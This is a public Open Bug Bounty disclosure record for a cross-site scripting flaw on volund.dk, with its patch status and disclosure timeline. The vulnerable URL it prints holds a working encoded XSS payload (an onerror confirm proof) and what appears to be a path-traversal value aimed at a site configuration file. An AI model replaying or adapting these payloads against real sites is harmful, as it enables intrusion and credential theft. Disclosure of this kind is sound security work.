Lucene search

K
openbugbountyEbOBB:280110
HistoryAug 19, 2017 - 2:57 a.m.

volund.dk XSS vulnerability

2017-08-1902:57:00
eb
www.openbugbounty.org
6
Vulnerable URL:
http://www.volund.dk/Search?search=tim%20w.%20larsen%27a=0/images/stories/images/jdownloads/screenshots/images/jdownloads/screenshots/images/jdownloads/screenshots/cache/images/jdownloads/screenshots/cache/plugins/content/s5_media_player/helper.php?fileurl=li4vli4vli4vy29uzmlndxjhdglvbi5waha=%22%27%2D%2D%21%3E%3CImage%0CSrcset%3DK%0COnerror%3Dconfirm%60OPENBUGBOUNTY%60%0C&page;=10
Details:
Description Value
Patched: Verification in progress
Latest check for patch: 19.11.2017
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 1697380
VIP website status: No
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 19 August, 2017 02:57 GMT
Vulnerability existence verified and confirmed 21 August, 2017 11:58 GMT
Generic security notifications sent to website owner 21 August, 2017 11:58 GMT
Vulnerability details disclosed by researcher 19 November, 2017 12:35 GMT